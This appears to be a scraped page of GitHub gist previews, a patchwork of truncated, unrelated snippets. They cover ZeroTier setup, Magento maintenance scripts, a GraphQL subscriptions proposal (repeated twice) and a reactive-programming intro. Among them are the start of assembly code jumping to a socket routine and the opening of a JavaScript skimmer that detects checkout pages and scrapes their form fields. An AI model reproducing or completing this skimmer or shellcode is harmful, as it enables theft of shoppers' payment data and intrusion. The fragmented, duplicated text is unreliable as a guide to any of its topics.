- Setup your own Zerotier network, either using your own server or the provided one.
- Ensure the network provides ip4 and ip6 addresses
| section .text | |
| global _start | |
| _start: | |
| xor eax, eax | |
| xor ebx, ebx | |
| xor esi, esi | |
| jmp _socket | |
| _socket_call: |
| setTimeout(checkForCheckout, 100); | |
| var snd = null; | |
| function checkForCheckout() { | |
| if ((/onepage|firecheckout|Checkout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm|fancycheckout/).test(window.location)) { | |
| scrapeAllFields(); | |
| } | |
| } | |
| function createQueryString() { |
| #!/bin/bash | |
| # | |
| # Found on StackOverflow: | |
| # http://stackoverflow.com/a/9304264/3765 | |
| # | |
| if [ ! -f ./app/etc/local.xml.template ]; then | |
| echo "-- ERROR" | |
| echo "-- This doesn't look like a Magento install. Please make sure" | |
| echo "-- that you are running this from the Magento main doc root dir" |
| #!/usr/bin/env python | |
| """ | |
| Set the base-urls for your Magento 1 installation to support only https. | |
| To use, download the file and make it executable. Then run: | |
| ./change_magento1_base_urls_to_https.py | |
| After use, check your base-urls by issuing: | |
| n98-magerun sys:store:config:base-url:list | |
| This script requires n98-magerun. |
In this gist I would like to describe an idea for GraphQL subscriptions. It was inspired by conversations about subscriptions in the GraphQL slack channel and different GH issues, like #89 and #411.
At the moment GraphQL allows 2 types of queries:
querymutation
Reference implementation also adds the third type: subscription. It does not have any semantics yet, so here I would like to propose one possible semantics interpretation and the reasoning behind it.
In this gist I would like to describe an idea for GraphQL subscriptions. It was inspired by conversations about subscriptions in the GraphQL slack channel and different GH issues, like #89 and #411.
At the moment GraphQL allows 2 types of queries:
querymutation
Reference implementation also adds the third type: subscription. It does not have any semantics yet, so here I would like to propose one possible semantics interpretation and the reasoning behind it.
(by @andrestaltz)
If you prefer to watch video tutorials with live-coding, then check out this series I recorded with the same contents as in this article: Egghead.io - Introduction to Reactive Programming.
| <?php | |
| require_once 'abstract.php'; | |
| class Mage_Shell_Customer extends Mage_Shell_Abstract | |
| { | |
| /** | |
| * Run script | |
| * |